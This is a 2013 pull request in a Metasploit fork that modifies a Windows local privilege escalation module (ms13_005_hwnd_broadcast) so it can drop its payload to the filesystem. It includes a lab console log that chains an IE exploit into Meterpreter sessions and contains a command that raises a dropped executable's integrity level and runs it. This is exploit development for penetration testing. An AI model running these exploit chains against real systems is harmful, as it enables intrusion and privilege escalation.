Meatballs1/metasploit-framework — pull request #6 by jvazquez-r7 (2013-07-26 20:03:14+00:00)
Title: Modify the check for Integrity Level and Allow dropt o fs

Hi @Meatballs1,

This pull requests references https://github.com/rapid7/metasploit-framework/pull/2162

Mainly:

* Modifies the check for the integrity Level, to allow false negatives when running in sessions from exploited LI IE processes. Basically it tries to write to the User Path, and not to the TEMP path. Let me know if it has sense for you.

* On the other hand, since on sessions got from exploited IE sandboxed processes, the %TEMP% folder points to a writable LI folder, I guess there will be similar situations. And I have added the option to drop the payload to fs and execute it. Maybe can be useful in some situation. Anyway I like the idea of using Powershell and HTTP. So by default I've kept your original exploit vector. Just added the option for the user to drop it to FILESYSTEM. Let me know what do you think :)

Test for the FILESYSTEM option:

```
msf exploit(ms13_037_svg_dashstyle) > [*] 192.168.0.3 ms13_037_svg_dashstyle - Requesting: /jKfqUIRkG5LFEtb
[*] 192.168.0.3 ms13_037_svg_dashstyle - Sending HTML to info leak...
[*] 192.168.0.3 ms13_037_svg_dashstyle - Requesting: /jKfqUIRkG5LFEtb/EdjExhKoxa?cQDDi=2009624752
[*] 192.168.0.3 ms13_037_svg_dashstyle - Using ntdll ROP
[*] 192.168.0.3 ms13_037_svg_dashstyle - Sending HTML to trigger...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.3:49713) at 2013-07-26 14:50:57 -0500
[*] Session ID 1 (192.168.0.3:4444 -> 192.168.0.3:49713) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (880)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3920
[+] Successfully migrated to process

msf exploit(ms13_037_svg_dashstyle) > use exploit/windows/local/ms13_005_hwnd_broadcast
msf exploit(ms13_005_hwnd_broadcast) > set FILESYSTEM true
FILESYSTEM => true
msf exploit(ms13_005_hwnd_broadcast) > set SESSION 1
SESSION => 1
msf exploit(ms13_005_hwnd_broadcast) > rexploit
[*] Reloading module...

[-] Handler failed to bind to 192.168.0.3:4444
[*] Started reverse handler on 0.0.0.0:4444
msf exploit(ms13_005_hwnd_broadcast) > [*] Running module against WIN-RNJ7NBRK9L7
[*] Trying to drop payload to C:\Users\JUANVA~1\AppData\Local\Temp\Low...
[+] Payload dropped successfully, exploiting...
[*] Spawning Low Integrity Cmd Prompt
[*] Bruteforcing Taskbar Position
[+] Spawned Medium Integrity Cmd Prompt
[*] Broadcasting payload command to prompt... I hope the user is asleep!
cd C:\Users\JUANVA~1\AppData\Local\Temp\Low && icacls EbjVUS.exe /setintegritylevel medium && EbjVUS.exe
[*] Executing command...
[*] Sending stage (751104 bytes) to 192.168.0.3
[*] Meterpreter session 2 opened (192.168.0.3:4444 -> 192.168.0.3:49728) at 2013-07-26 14:52:45 -0500
[*] Session ID 2 (192.168.0.3:4444 -> 192.168.0.3:49728) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: EbjVUS.exe (400)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1104
[+] Successfully migrated to process

```

The new 1104 process is indeed MI:

![mi_ok](https://f.cloud.github.com/assets/1742838/865022/503cb80c-f62e-11e2-873b-a15358c0f17d.png)

Feel free to review, test discuss anything. Once it's handled I guess we'll be ready to land the original https://github.com/rapid7/metasploit-framework/pull/2162

thanks!